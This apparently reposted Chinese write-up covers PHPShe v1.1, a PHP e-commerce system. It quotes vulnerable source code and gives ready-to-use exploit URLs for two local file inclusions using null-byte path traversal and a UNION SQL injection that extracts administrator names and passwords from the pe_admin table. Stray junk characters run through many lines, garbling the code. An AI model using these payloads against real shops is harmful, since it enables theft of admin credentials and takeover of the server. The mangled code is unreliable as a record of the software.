phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
, g$ e3 `0 n9 R% L9 j+ m/* Phpshe v1.1 Vulnerability
8 s$ W% }  x$ g  _$ f/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
8 ]( P4 g7 e( T. \. S/*******************************************************/
+ |) Y) z/ L- M$ e# S# z6 r- t" A0×00 整体大概参数传输
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- d! S' J9 C5 s0 G4 l. p7 F3 u//common.php
& v( o$ v" B9 n5 |) }7 Yif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
. Q) P+ M( P/ S4 [; c# e! K}
$ v4 B  T' x6 R5 Selse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
1 H, }& A- n0 v: N0 H1 Z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
# d5 L6 U4 u8 R2 s  m}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
5 b( J  i" O: h4 Y3 @+ m" H!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
' P+ u7 i1 P% B4 q, B4 T1 m7 ^include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
; n3 O3 m$ P1 D- L4 ^( Y  @$ fpe_result();
?>
/ v  d4 ^+ W6 w! t, G* E; e  b//common 文件 第15行开始
! `* y. H. t3 _2 U; X1 |url路由配置
- D( ^3 R, z1 G4 v% H! {& E$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
# ^6 y* {1 D* W3 _$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
/ @" p2 n" y. J: p1 b9 [( N$ Z$ f$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
$ X$ |0 Z- b  r0 Z  p8 D4 [//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0 Q( t* d$ X+ M2 M 0×02 搜索注入
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7 ]. i$ |) `& q- f1 r<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
9 G! ]; ~2 B/ A: x* N2 zwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
- v* Q7 ~/ {( u6 E" ]! I% V; T& _: c$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
( C" W' j0 g! }  {, Zif ($_g_orderby) {
3 d; |' v  a1 g/ k$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
" W1 h) C9 ]+ S! h9 i9 I/ I  h* m' [}
else {
# L! N4 {5 H6 z! R( V$sqlwhere .= " order by `product_id` desc";
}
! z- z6 a( v; t. I% i- @' a$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
( y: T9 F/ N) U. w$product_hotlist = product_hotlist();
! a  o* F, I5 @7 s/ E. G8 {  G//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
0 G7 t9 ^( @( z9 I* X0 ?( \//跟进selectall函数库
5 J, c  c5 u% R; E3 y! S  o$ \2 C& Zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 U- t( R7 p+ J  x9 s{
: O" U3 F& t* L! h5 B//处理条件语句
$sqlwhere = $this->_dowhere($where);
3 `; b: j, }, v/ ~% @return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 O' r8 z& R4 d$ c- }}
//exp
1 `- u  \& N: Z2 r( l6 dproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

  R9 g3 T4 ]1 b' m) T$order_id = pe_dbhold($_g_id);

. s: l( A$ @9 S& }& r  [$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

, x" b2 d/ H- R$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

# a1 a: v1 l" H6 k' z3 M7 p9 }& ?6 ]+ k$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 u/ n. `' P5 \. {- C!$order['order_id'] && pe_error('订单号错误...');

  j" ]5 f0 [% w# f5 Mif (isset($_p_pesubmit)) {

# J$ A7 Z$ X: z. F$ tif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

& n6 Q1 i. p, ?6 h- t$ W$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 k  ?* `+ u) Q! R% Vforeach ($info_list as $v) {

+ b7 k& Z$ b, r! C( f5 p3 |& {$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

* @& V' l8 ~  u6 t% iinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

2 {' h; v$ ^& q5 q+ [, ppe_error('支付错误...');

}

1 W/ x; \/ w! ?* G( d}

$seo = pe_seo('选择支付方式');

; @! r0 i, m3 X. q0 V6 P" Ninclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
/ v1 }1 B0 V1 \4 x* t2 t1 ?( rhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg